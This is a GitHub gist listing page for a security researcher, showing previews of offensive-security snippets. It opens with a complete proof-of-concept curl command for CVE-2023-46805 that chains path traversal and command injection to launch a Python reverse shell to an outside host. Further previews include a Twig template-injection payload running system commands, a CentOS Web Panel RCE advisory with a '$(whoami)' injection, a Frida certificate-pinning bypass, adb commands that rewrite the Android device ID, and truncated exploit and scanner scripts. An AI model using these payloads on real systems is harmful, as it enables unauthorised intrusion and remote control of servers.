numanturle’s gists

numanturle / cve-2023-46805.sh

Created January 16, 2024 16:03

cve-2023-46805 poc

curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.86.43\\\",4444));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

numanturle / CVE-2023-5561.py

Last active November 2, 2023 19:31

CVE-2023-5561

	import requests
	import string
	import warnings
	import json
	import argparse
	from requests.packages.urllib3.exceptions import InsecureRequestWarning

	warnings.simplefilter('ignore',InsecureRequestWarning)

	proxy = {

numanturle / class.php

Created August 9, 2023 16:47

PHP SSRF Default

	SoapClient
	SplFileObject
	tidy

numanturle / vuln.c

Created July 19, 2023 08:50



	snprintf(filename, PATH_MAX, "%s/%s", config->webroot, page); // vuln

numanturle / cisco-ucs.yaml

Created June 22, 2023 09:00

Cisco UCS Director

	id: cisco-ucs

	info:
	name: Cisco UCS Director
	author: numanturle
	severity: critical
	tags: cisco,cisco imc,cisco-imc

	requests:
	- method: GET

numanturle / gist:68dd472c7bb702537a1222d2e9a1fa76

Created May 23, 2023 08:58

adb.sh

	adb shell content query --uri content://settings/secure --where "name=\'android_id\'"

	adb shell content delete --uri content://settings/secure --where "name=\'android_id\'"

	adb shell content insert --uri content://settings/secure --bind name:s:android_id --bind value:s:7373de1e9e9670c2

numanturle / frida.js

Created May 3, 2023 10:50

ssl-root-bypass

	setTimeout(function() {
	Java.perform(function() {
	console.log('');
	console.log('======');
	console.log('[#] Android Bypass for various Certificate Pinning methods [#]');
	console.log('======');


	var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
	var SSLContext = Java.use('javax.net.ssl.SSLContext');

numanturle / 1.twig

Created March 23, 2023 22:32

twig blacklist [ ]

{%set x={'1':'id'}%}{{x|filter('system')}}

numanturle / # Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

Created January 5, 2023 21:44

# Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

	# Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

	[+] Centos Web Panel 7 Unauthenticated Remote Code Execution
	[+] Centos Web Panel 7 - < 0.9.8.1147
	[+] Affected Component ip:2031/login/index.php?login=$(whoami)
	[+] Discoverer: Numan Türle @ Gais Cyber Security
	[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194

numanturle / wait-for-it.sh

Last active June 27, 2025 04:28

wait-for-it.sh

	#!/usr/bin/env bash
	# Use this script to test if a given TCP host/port are available

	WAITFORIT_cmdname=${0##*/}

	echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi }

	usage()
	{
	cat << USAGE >&2

numan numanturle